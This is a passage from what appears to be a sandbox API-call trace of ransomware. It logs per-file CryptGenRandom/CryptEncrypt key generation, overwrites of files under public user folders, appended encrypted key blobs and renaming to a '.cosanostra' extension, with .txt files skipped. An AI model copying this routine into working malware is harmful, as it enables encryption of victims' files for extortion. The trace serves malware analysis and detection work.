lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.423] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf44c*=0x28e, lpOverlapped=0x0) returned 1 [0090.424] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.424] WriteFile (in: hFile=0x138, lpBuffer=0x2abf48c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x2abf48c*, lpNumberOfBytesWritten=0x2abf44c*=0x4, lpOverlapped=0x0) returned 1 [0090.424] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf44c*=0x30, lpOverlapped=0x0) returned 1 [0090.424] CloseHandle (hObject=0x138) returned 1 [0090.425] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.cosanostra")) returned 1 [0090.577] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf488 | out: pbBuffer=0x2abf488) returned 1 [0090.577] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf480*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf480*=0x30) returned 1 [0090.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\.." (normalized: "c:\\users\\public\\recorded tv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.585] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf488 | out: pbBuffer=0x2abf488) returned 1 [0090.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf480*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf480*=0x30) returned 1 [0090.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\." (normalized: "c:\\users\\public\\recorded tv\\sample media\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.586] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf480 | out: pbBuffer=0x2abf480) returned 1 [0090.596] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf478*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf478*=0x30) returned 1 [0090.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.620] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Recorded TV\\desktop.ini") returned 43 [0090.620] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.620] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.621] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf43c*=0x50, lpOverlapped=0x0) returned 1 [0090.621] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.621] WriteFile (in: hFile=0x180, lpBuffer=0x2abf47c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x2abf47c*, lpNumberOfBytesWritten=0x2abf43c*=0x4, lpOverlapped=0x0) returned 1 [0090.621] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf43c*=0x30, lpOverlapped=0x0) returned 1 [0090.621] CloseHandle (hObject=0x180) returned 1 [0090.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini.cosanostra")) returned 1 [0090.650] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf480 | out: pbBuffer=0x2abf480) returned 1 [0090.650] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf478*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf478*=0x30) returned 1 [0090.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.669] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Libraries\\desktop.ini") returned 41 [0090.669] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.669] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffa8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.669] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf43c*=0x58, lpOverlapped=0x0) returned 1 [0090.670] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.670] WriteFile (in: hFile=0x180, lpBuffer=0x2abf47c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x2abf47c*, lpNumberOfBytesWritten=0x2abf43c*=0x4, lpOverlapped=0x0) returned 1 [0090.670] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf43c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf43c*=0x30, lpOverlapped=0x0) returned 1 [0090.670] CloseHandle (hObject=0x180) returned 1 [0090.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Libraries\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\libraries\\desktop.ini.cosanostra")) returned 1 [0090.671] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf478 | out: pbBuffer=0x2abf478) returned 1 [0090.671] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf470*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf470*=0x30) returned 1 [0090.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.671] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf478 | out: pbBuffer=0x2abf478) returned 1 [0090.671] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf470*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf470*=0x30) returned 1 [0090.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\." (normalized: "c:\\users\\public\\libraries\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.672] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf470 | out: pbBuffer=0x2abf470) returned 1 [0090.672] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf468*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf468*=0x30) returned 1 [0090.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.672] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf468 | out: pbBuffer=0x2abf468) returned 1 [0090.672] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf460*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf460*=0x30) returned 1 [0090.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\." (normalized: "c:\\users\\public\\favorites\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.673] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf460 | out: pbBuffer=0x2abf460) returned 1 [0090.673] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf458*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf458*=0x30) returned 1 [0090.673] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.673] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Downloads\\desktop.ini") returned 41 [0090.673] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.674] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.674] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2abf41c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf41c*=0xae, lpOverlapped=0x0) returned 1 [0090.674] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.674] WriteFile (in: hFile=0x180, lpBuffer=0x2abf45c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf41c, lpOverlapped=0x0 | out: lpBuffer=0x2abf45c*, lpNumberOfBytesWritten=0x2abf41c*=0x4, lpOverlapped=0x0) returned 1 [0090.674] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf41c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf41c*=0x30, lpOverlapped=0x0) returned 1 [0090.674] CloseHandle (hObject=0x180) returned 1 [0090.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Downloads\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\downloads\\desktop.ini.cosanostra")) returned 1 [0090.675] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf460 | out: pbBuffer=0x2abf460) returned 1 [0090.675] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf458*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf458*=0x30) returned 1 [0090.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.675] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf458 | out: pbBuffer=0x2abf458) returned 1 [0090.675] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf450*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf450*=0x30) returned 1 [0090.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\." (normalized: "c:\\users\\public\\downloads\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.676] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf450 | out: pbBuffer=0x2abf450) returned 1 [0090.676] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf448*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf448*=0x30) returned 1 [0090.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.676] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Documents\\desktop.ini") returned 41 [0090.676] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.677] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.677] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2abf40c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf40c*=0x116, lpOverlapped=0x0) returned 1 [0090.677] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.677] WriteFile (in: hFile=0x180, lpBuffer=0x2abf44c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf40c, lpOverlapped=0x0 | out: lpBuffer=0x2abf44c*, lpNumberOfBytesWritten=0x2abf40c*=0x4, lpOverlapped=0x0) returned 1 [0090.677] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf40c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf40c*=0x30, lpOverlapped=0x0) returned 1 [0090.677] CloseHandle (hObject=0x180) returned 1 [0090.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Documents\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\documents\\desktop.ini.cosanostra")) returned 1 [0090.678] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf450 | out: pbBuffer=0x2abf450) returned 1 [0090.678] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf448*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf448*=0x30) returned 1 [0090.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.678] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf448 | out: pbBuffer=0x2abf448) returned 1 [0090.678] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf440*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf440*=0x30) returned 1 [0090.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\." (normalized: "c:\\users\\public\\documents\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.678] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf448 | out: pbBuffer=0x2abf448) returned 1 [0090.678] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf440*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf440*=0x30) returned 1 [0090.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.678] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\desktop.ini") returned 31 [0090.679] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.679] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.679] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2abf404, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf404*=0xae, lpOverlapped=0x0) returned 1 [0090.679] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.679] WriteFile (in: hFile=0x180, lpBuffer=0x2abf444*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf404, lpOverlapped=0x0 | out: lpBuffer=0x2abf444*, lpNumberOfBytesWritten=0x2abf404*=0x4, lpOverlapped=0x0) returned 1 [0090.679] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf404, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf404*=0x30, lpOverlapped=0x0) returned 1 [0090.679] CloseHandle (hObject=0x180) returned 1 [0090.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\desktop.ini.cosanostra")) returned 1 [0090.681] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf440 | out: pbBuffer=0x2abf440) returned 1 [0090.681] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf438*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf438*=0x30) returned 1 [0090.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.682] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned 47 [0090.682] StrStrW (lpFirst="Mozilla Firefox.lnk", lpSrch=".txt") returned 0x0 [0090.682] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffb7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.682] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x2abf3fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3fc*=0x485, lpOverlapped=0x0) returned 1 [0090.682] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.682] WriteFile (in: hFile=0x180, lpBuffer=0x2abf43c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf43c*, lpNumberOfBytesWritten=0x2abf3fc*=0x4, lpOverlapped=0x0) returned 1 [0090.682] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf3fc*=0x30, lpOverlapped=0x0) returned 1 [0090.683] CloseHandle (hObject=0x180) returned 1 [0090.683] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.cosanostra" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.cosanostra")) returned 1 [0090.685] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf438 | out: pbBuffer=0x2abf438) returned 1 [0090.685] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf430*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf430*=0x30) returned 1 [0090.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.685] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 45 [0090.685] StrStrW (lpFirst="Google Chrome.lnk", lpSrch=".txt") returned 0x0 [0090.686] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff72f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.686] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x8d1, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3f4*=0x8d1, lpOverlapped=0x0) returned 1 [0090.686] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.686] WriteFile (in: hFile=0x180, lpBuffer=0x2abf434*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf434*, lpNumberOfBytesWritten=0x2abf3f4*=0x4, lpOverlapped=0x0) returned 1 [0090.686] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf3f4*=0x30, lpOverlapped=0x0) returned 1 [0090.687] CloseHandle (hObject=0x180) returned 1 [0090.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Google Chrome.lnk.cosanostra" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.cosanostra")) returned 1 [0090.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf438 | out: pbBuffer=0x2abf438) returned 1 [0090.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf430*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf430*=0x30) returned 1 [0090.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.688] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Desktop\\desktop.ini") returned 39 [0090.688] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.689] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.689] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3f4*=0xae, lpOverlapped=0x0) returned 1 [0090.689] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.689] WriteFile (in: hFile=0x180, lpBuffer=0x2abf434*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf434*, lpNumberOfBytesWritten=0x2abf3f4*=0x4, lpOverlapped=0x0) returned 1 [0090.689] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf3f4*=0x30, lpOverlapped=0x0) returned 1 [0090.689] CloseHandle (hObject=0x180) returned 1 [0090.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: 